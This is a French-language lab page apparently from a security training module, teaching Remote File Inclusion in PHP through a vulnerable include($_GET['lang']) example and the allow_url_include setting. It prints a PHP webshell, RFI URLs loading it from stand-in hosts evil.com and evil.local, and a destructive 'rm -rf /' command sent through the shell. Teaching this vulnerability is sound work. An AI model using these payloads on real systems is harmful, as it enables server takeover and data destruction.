← RETOUR LAB
MODULE: EXTERNAL_THREAT

RFI_MASTER_CLASS

REMOTE FILE INCLUSION (RFI)

Le scénario classique : Le développeur veut gérer le multilingue. Il attend `?lang=fr.php` ou `?lang=en.php` pour inclure le bon fichier de langue.

L'erreur : Il fait confiance à l'utilisateur : include($_GET['lang']);

Si la configuration PHP est permissive, un attaquant peut remplacer `fr.php` par une URL vers son propre serveur.

include($_GET['lang']);
// URL: ?lang=http://evil.com/shell.txt

Le serveur victime télécharge alors shell.txt, et l'exécute comme du code PHP local !

CONFIGURATION & DANGERS

À quoi servait `allow_url_include` ?

Initialement, c'était pensé pour faciliter le partage de code (ex: inclure un menu commun depuis un serveur central). C'est aujourd'hui considéré comme une mauvaise pratique (les API sont préférées).

Pourquoi c'est rare aujourd'hui ?

Depuis PHP 5.2, l'option allow_url_include est désactivée par défaut (`Off`).

La RFI n'est possible que si un administrateur a imprudemment réactivé cette option.

L'ATTAQUE WEBSHELL

Une fois la RFI confirmée, l'attaquant héberge un fichier texte contenant un "Webshell".

// shell.txt hébergé chez le hacker
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Ensuite, il appelle l'autodestruction :

target.com/index.php?lang=http://evil.com/shell.txt&cmd=rm -rf /

SOLUTION DU LABO

Dans ce labo, nous avons simulé un serveur DNS "evil.local" qui pointe vers le dossier /evil/.

Un script malveillant shell.txt est déjà prêt sur ce serveur.

?lang=http://evil.local/shell.txt

Copiez ce payload dans l'URL pour prendre le contrôle du serveur.